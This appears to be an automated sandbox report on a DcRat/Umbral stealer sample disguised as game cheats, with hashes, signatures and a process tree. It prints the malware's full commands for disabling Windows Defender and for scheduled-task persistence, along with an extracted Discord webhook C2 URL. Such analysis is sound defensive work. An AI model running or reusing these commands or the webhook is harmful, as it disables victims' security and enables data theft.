Overview

overview

10

Static

static

10

E3A480A53D...85.exe

windows7-x64

10

E3A480A53D...85.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2024 11:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    E3A480A53D8B2C398A7642E1F4E84785.exe

  • Size

    12.9MB

  • MD5

    e3a480a53d8b2c398a7642e1f4e84785

  • SHA1

    7f8fa5e3dc9be9055f9202213be33460a1af1e09

  • SHA256

    11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2

  • SHA512

    b3fce5ac73b75fb70d6c798517426ee614b72f24236baf07752f1289a8ce78d74c3c1ec5168f1d8fbcaa5b7de072ef3175f895ac1a49379f716209df49d103e8

  • SSDEEP

    393216:oJlQ1evI2bs6Yuno3rkJ3InoKasOnHDJaM8t:obQpgssCKInwjJaMu

Score
10/10
dcratumbraldefense_evasiondiscoveryevasioninfostealerpersistenceratstealertrojanvmprotect

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA

Signatures

  • DcRat 19 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Detect Umbral payload 4 IoCs
  • Modifies WinLogon for persistence 2 TTPs 6 IoCs
    persistence
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 20 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 2 IoCs
    evasion
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Umbral family
    umbral
  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 11 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 12 IoCs
    persistence
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 8 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe
    "C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe"
    1⤵
    • DcRat
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
      "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2696
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2096
    • C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe
      "C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
        "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2844
        • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
          "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:948
          • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
            "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1928
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2796
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
                7⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1668
                • C:\blockweb\portrefNet.exe
                  "C:\blockweb\portrefNet.exe"
                  8⤵
                  • Modifies WinLogon for persistence
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2192
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\smBCqns3su.bat"
                    9⤵
                      PID:1720
                      • C:\Windows\system32\w32tm.exe
                        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                        10⤵
                          PID:1048
                        • C:\Program Files\Common Files\Services\csrss.exe
                          "C:\Program Files\Common Files\Services\csrss.exe"
                          10⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1540
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2268
              • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
                "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:612
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic.exe" csproduct get uuid
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2620
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2632
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1756
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
              4⤵
                PID:1296
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1668
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2172
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2192
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                • System Location Discovery: System Language Discovery
                PID:1040
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:1792
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                • System Location Discovery: System Language Discovery
                PID:2868
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                • System Location Discovery: System Language Discovery
                PID:2848
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1764
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2384
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2788
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1028
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1280
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1728
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                4⤵
                • System Location Discovery: System Language Discovery
                PID:828
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2772
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                4⤵
                • System Location Discovery: System Language Discovery
                PID:772
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2144
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2232
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:864
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1784
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:572
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3060
              • C:\Windows\SysWOW64\reg.exe
                reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1236
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                PID:1088
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:1240
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:1848
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies Security services
                • System Location Discovery: System Language Discovery
                PID:1780
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                4⤵
                • Modifies security service
                PID:1652
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2592
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2828
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1092
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1480
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1512
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:1840
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2456
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2524
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2140
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              • System Location Discovery: System Language Discovery
              PID:2448
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2452
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2084
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2224
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1644
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2396
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1892
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2100
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2544
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2876
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2424
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1572
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1036
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2748
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1564
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:548
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1324
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:236
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:1048
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:1660
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:1344
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
              3⤵
              • Modifies security service
              PID:1540
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Recovery\209d6542-69f6-11ef-b491-62cb582c238c\explorer.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2680
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\209d6542-69f6-11ef-b491-62cb582c238c\explorer.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2788
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Recovery\209d6542-69f6-11ef-b491-62cb582c238c\explorer.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1280
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Common Files\Services\csrss.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2568
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Common Files\Services\csrss.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:828
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Common Files\Services\csrss.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1972
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "smsss" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Common Files\Services\smss.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2772
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Services\smss.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1916
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\Services\smss.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1912
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Recovery\209d6542-69f6-11ef-b491-62cb582c238c\sppsvc.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2044
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\209d6542-69f6-11ef-b491-62cb582c238c\sppsvc.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2372
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Recovery\209d6542-69f6-11ef-b491-62cb582c238c\sppsvc.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:532
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsml" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Media Player\fr-FR\lsm.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3064
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\fr-FR\lsm.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2424
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Media Player\fr-FR\lsm.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2388
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\Templates\wininit.exe'" /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2748
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\All Users\Templates\wininit.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1564
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Templates\wininit.exe'" /rl HIGHEST /f
          1⤵
          • DcRat
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2012

        Network

        MITRE ATT&CK Enterprise v15

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Winlogon Helper DLL

        1
        T1547.004

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Winlogon Helper DLL

        1
        T1547.004

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Impair Defenses

        2
        T1562

        Disable or Modify Tools

        1
        T1562.001

        Modify Registry

        5
        T1112

        Credential Access

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        1
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\Cab21C5.tmp
          Filesize

          70KB

          MD5

          49aebf8cbd62d92ac215b2923fb1b9f5

          SHA1

          1723be06719828dda65ad804298d0431f6aff976

          SHA256

          b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

          SHA512

          bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\Tar21D8.tmp
          Filesize

          181KB

          MD5

          4ea6026cf93ec6338144661bf1202cd1

          SHA1

          a1dec9044f750ad887935a01430bf49322fbdcb7

          SHA256

          8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

          SHA512

          6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\smBCqns3su.bat
          Filesize

          213B

          MD5

          a69f547a83b7faac7cdc043028a87767

          SHA1

          b9c8142aa084acba2d400b1631de080a168d7135

          SHA256

          d9ead2b551afb16ce55bc0acce351cddc5c3ed472717e679346ddee0acba489b

          SHA512

          c1593c8432f244af61654efd908351edc57fa7c4218c996448e99112dda0b451d907c6d01865ab35870a0680fad3b99af239dd35b170ad444382a29f974ba4eb

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\windows defender.bat
          Filesize

          3KB

          MD5

          4c35b71d2d89c8e8eb773854085c56ea

          SHA1

          ede16731e61348432c85ef13df4beb2be8096d9b

          SHA256

          3efeeaaabfd33ff95934bee4d6d84e4ecb158d1e7777f6eecd26b2746991ed42

          SHA512

          a6ccbb2913738ca171686a2dd70e96330b0972dadb64f7294ac2b4c9bb430c872ed2bcd360f778962162b9e3be305836fa7f6762b46310c0ad4d6ef0c1cdac8d

          Download Submit

        • C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe
          Filesize

          221B

          MD5

          ca2cae3c10113fc32484a48196e2ffaa

          SHA1

